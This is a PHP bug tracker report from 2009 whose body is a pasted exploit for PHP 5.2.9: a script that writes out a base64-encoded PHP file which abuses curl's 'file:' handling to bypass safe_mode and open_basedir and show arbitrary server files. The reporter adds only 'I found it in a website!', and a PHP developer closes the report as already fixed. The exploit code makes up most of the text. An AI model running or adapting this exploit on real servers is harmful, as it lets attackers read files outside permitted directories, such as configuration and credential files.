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Bug #48027 exploit
Submitted: 2009-04-20 14:46 UTC Modified: 2009-04-20 14:49 UTC
From: washor at hotmail dot com Assigned: pajoye
Status: Closed Package: Unknown/Other Function
PHP Version: 5.2.9 OS: i don't know
Private report: No CVE-ID:
 [2009-04-20 14:46 UTC] washor at hotmail dot com
Description:
------------
<?php
/* SecurityReason.com - Security Audit Stuff

PHP 5.2.9 curl safe_mode & open_basedir bypass
http://securityreason.com/achievement_securityalert/61

exploit from "SecurityReason - Security Audit" lab.
for legal use only

http://securityreason.com/achievement_exploitalert/11

author: Maksymilian Arciemowicz
cxib [a&t] securityreason [0.0] com

R.I.P. ladyBMS

*/

$freiheit=fopen('./cx529.php', 'w');

fwrite($freiheit, base64_decode("
PD9waHANCi8qDQpzYWZlX21vZGUgYW5kIG9wZW5fYmFzZWRpciBCeXBhc3MgUEhQIDUuMi45
DQpieSBNYWtzeW1pbGlhbiBBcmNpZW1vd2ljeiBodHRwOi8vc2VjdXJpdHlyZWFzb24uY29t
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CkVYUExPSVQ6DQpodHRwOi8vc2VjdXJpdHlyZWFzb24uY29tL2FjaGlldmVtZW50X2V4cGxv
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U1RbJ2ZpbGUnXTsNCg0KZWNobyAnPFBSRT48UD5UaGlzIGlzIGV4cGxvaXQgZnJvbSA8YQ0K
aHJlZj0iaHR0cDovL3NlY3VyaXR5cmVhc29uLmNvbS8iIHRpdGxlPSJTZWN1cml0eUF1ZGl0
Ij5TZWN1cml0eSBBdWRpdCAtIFNlY3VyaXR5UmVhc29uPC9hPiBsYWJzLg0KQXV0aG9yIDog
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DQo8cD5QSFAgNS4yLjkgc2FmZV9tb2RlICYgb3Blbl9iYXNlZGlyIGJ5cGFzcw0KPHA+TW9y
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KS4kX1NFUlZFUlsiUEhQX1NFTEYiXS4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0
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IlNob3ciPjwvZm9ybT4nOw0KDQoNCiRsZXZlbD0wOw0KDQppZighZmlsZV9leGlzdHMoImZp
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DQokaGFyZHN0eWxlID0gZXhwbG9kZSgiLyIsICRmaWxlKTsNCg0KZm9yKCRhPTA7JGE8Y291
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CWlmKCFmaWxlX2V4aXN0cygkaGFyZHN0eWxlWyRhXSkpIA0KCQkJbWtkaXIoJGhhcmRzdHls
ZVskYV0pOw0KCQljaGRpcigkaGFyZHN0eWxlWyRhXSk7DQoJCSRsZXZlbCsrOw0KCX0NCn0N
Cg0Kd2hpbGUoJGxldmVsLS0pIGNoZGlyKCIuLiIpOw0KDQokY2ggPSBjdXJsX2luaXQoKTsN
Cg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZpbGU6ZmlsZTovLy8iLiRmaWxl
KTsNCg0KZWNobyAnPEZPTlQgQ09MT1I9IlJFRCI+IDx0ZXh0YXJlYSByb3dzPSI0MCIgY29s
cz0iMTIwIj4nOw0KDQppZihGQUxTRT09Y3VybF9leGVjKCRjaCkpDQoJZGllKCc+U29ycnku
Li4gRmlsZSAnLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLicgZG9lc250IGV4aXN0cyBvciB5
b3UgZG9udCBoYXZlIHBlcm1pc3Npb25zLicpOw0KDQplY2hvICcgPC90ZXh0YXJlYT4gPC9G
T05UPic7DQoNCmN1cmxfY2xvc2UoJGNoKTsNCg0KPz4=
"));

fclose($freiheit);

echo "exploit has been generated . use cx529.php file";
?>

Reproduce code:
---------------
I found it in a website!

Expected result:
----------------
I found it in a website!

Actual result:
--------------
I found it in a website!

Patches

Add a Patch

Pull Requests

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History

AllCommentsChangesGit/SVN commitsRelated reports
 [2009-04-20 14:49 UTC] pajoye@php.net
This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

Already fixed in 5.2's cvs. 5.3+ on its way.
 
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